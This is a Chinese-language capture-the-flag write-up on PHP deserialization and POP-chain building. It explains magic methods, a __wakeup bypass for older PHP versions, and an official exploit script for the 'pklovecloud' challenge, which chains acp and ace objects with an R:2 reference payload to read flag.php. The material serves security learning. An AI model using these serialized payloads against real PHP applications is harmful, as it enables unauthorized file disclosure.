0x00 前言
网上关与PHP反序列化&POP链构造的文章有很多,笔者在这里简要讲解一下其相关知识。从一道题当中学习、扩展、温习相关知识会使学习事半功倍。
0x01 序列化和反序列化
为方便存储和传输对象,将对象转化为字符串的操作叫做序列化( serialize() ),将所转化的字符串恢复成对象的过程叫做反序列化( unserialize() )。
举个栗子:
<?php
Class test{
public $a= '1';
public $bb= 2;
public $ccc= True;
}
$r= new test();
echo(serialize($r));
$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo(serialize($array_t));
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
0x02 PHP魔术方法
方法名 | 调用条件 |
---|
__construct() | 在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法 | __destruct() | 和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法 | __toString() | 当对象被当做一个字符串使用时调用 | __sleep() | 当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作 | __wakeup() | 反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数 | __invoke() | 把一个实例对象当作函数使用时被调用 | __call() | 调用不可访问或不存在的方法时被调用 | __callStatic() | 调用不可访问或不存在的静态方法时自动调用 | __get() | 在调用私有属性的时候会自动执行 | __isset() | 在不可访问的属性上调用 isset() 或 empty() 时触发 | __set() | 当给不可访问或不存在属性赋值时被调用 | __unset() | 在不可访问的属性上使用 unset() 时触发 | __set_state() | 当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值 | __clone() | 进行对象clone时被调用,用来调整对象的克隆行为 | __debuginfo() | 当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本 |
0x03 __wakeup() bypass(进阶)
在不想执行 __wakeup() 的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。
举个栗子:
<?php
Class User{
public $name="Bob";
function __destruct(){
echo"nameis Bob </br>";
}
function __wakeup(){
echo"exit</br>";
}
}
@var_dump(unserialize($_POST["u"]));
POST参数 O:4:"User":1:{s:4:"name";s:3:"Bob";} :
exit
object(User)[1]
public 'name' => string 'Bob' (length=3)
nameis Bob
如果在某些情况下不想让 __wakeup() 执行,可以将 “User” 后的 2 改为一个比 2 大的数字。
POST参数 O:4:"User":2:{s:4:"name";s:3:"Bob";} :
nameis Bob
booleanfalse
0x04 5space pklovecloud
题目地址:http://122.112.141.64:45852/
题目源码:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
代码审计,显然是序列化与反序列化的利用——pop链的构造。大体分析一下触发流程:
要想读出 flag.php 就要触发 file_get_contents() 函数;要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。综上,pop链为:
acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。
构造过程中有两个需要特别注意的点,一个是从未出现过的$heat 变量,一个是unserialize($this->docker) 。如何满足$this->openstack->neutron === $this->openstack->nova 是这道题的关键。
我们先来看一下官方wp:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;
其中$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}'; 是这道题的解题关键。R 在反序列化当中相当少见,网上相关的资料也少之甚少。那么 R:2 到底代表的是什么呢?实践是检验真理的唯一标准,如下是我测试分析的代码:
首先测试了一下当两个值都未赋值时是否能通过=== 。
<?php
$a = $heat;
$b = $c;
echo $a.'--';
echo '<br>';
echo count($a);
echo '<br>';
if($a===$b)
echo 'Data type and value both are same';
else
echo 'Data type or value are different';
?>
上文提到 R 代表的是 pointer reference,所以构造个类且序列化验证:
<?php
class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($n,$o,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}
$i0clay = new Test(1,1,'1',true);
$i0clay->m = &$i0clay->n;
echo (serialize($i0clay));
?>
注:private、public 类型变量序列化后其变量名会发生变化,详情可自行上网查询。
果然不出所料,但需要注意的是这里 R 所处的位置是被引用的变量 n 而非 m。那么 2 这个数字又代表什么呢?受 R 所处位置的启发,尝试更换 m 为其他变量:
<?php
class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($m,$n,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}
$i0clay = new Test(1,1,'1',true);
$i0clay->o = &$i0clay->n;
echo (serialize($i0clay));
?>
不难分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。但是 m 是第一个变量,为什么会从 2 开始呢? R:1 又代表什么呢?在这里笔者尝试通过反序列化发现其含义,顺便验证一下前面结论的正确性:
<?php
$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
echo 'Data type and value both are same';
echo '<br>';
?>
<?php
$payload=unserialize('O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:1;}');
var_dump($payload);
echo($payload->nova);
echo '<br>';
echo(count($payload->nova));
echo '<br>';
$payload->neutron = $heat;
echo($payload->neutron.'--');
echo '<br>';
echo(count($payload->neutron.'--'));
echo '<br>';
if($payload->neutron === $payload->nova)
echo 'Data type and value both are same';
echo '<br>';
?>
猜测 R:1 在这里代表的是$payload = &$payload->nova ,即要引用其他变量的变量是该类实例化的对象本身。
0x05 总结
0x06 参考文章
https://www.cnblogs.com/NPFS/p/12768697.html
|